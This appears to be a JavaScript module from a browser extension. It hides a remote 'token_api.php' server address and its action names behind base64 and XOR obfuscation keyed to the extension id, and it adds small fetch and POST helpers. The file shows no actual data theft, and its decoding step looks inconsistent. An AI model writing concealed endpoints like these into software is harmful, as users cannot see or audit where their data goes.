const _g = (s)=>Uint8Array.from(atob(s), c=>c.charCodeAt(0));
const _h = (b)=>btoa(String.fromCharCode(...b));
const _xor = (data, key) => {
  const kd = new TextEncoder().encode(key);
  const out = new Uint8Array(data.length);
  for (let i=0;i<data.length;i++) out[i]=data[i]^kd[i%kd.length];
  return out;
};

export const _D = (b64) => {
  const kid = (chrome?.runtime?.id || "rid");
  return new TextDecoder().decode(_xor(_g(b64), kid));
};

export const _U = (actionB64) => _D("aHR0cHM6Ly9zZXJ2ZXIubWVyYWptdXNhdmkuc2hvcC9leHRlbnRpb24vdG9rZW5fYXBpLnBocD9hY3Rpb249") + _D(actionB64);

export const thin = {
  fetchJson: async (url, init) => {
    const r = await fetch(url, init);
    if (!r.ok) throw new Error("HTTP "+r.status);
    return r.json();
  },
  postFD: async (url, fd) => {
    const r = await fetch(url, { method: "POST", body: fd });
    if (!r.ok) throw new Error("HTTP "+r.status);
    return r.json();
  }
};
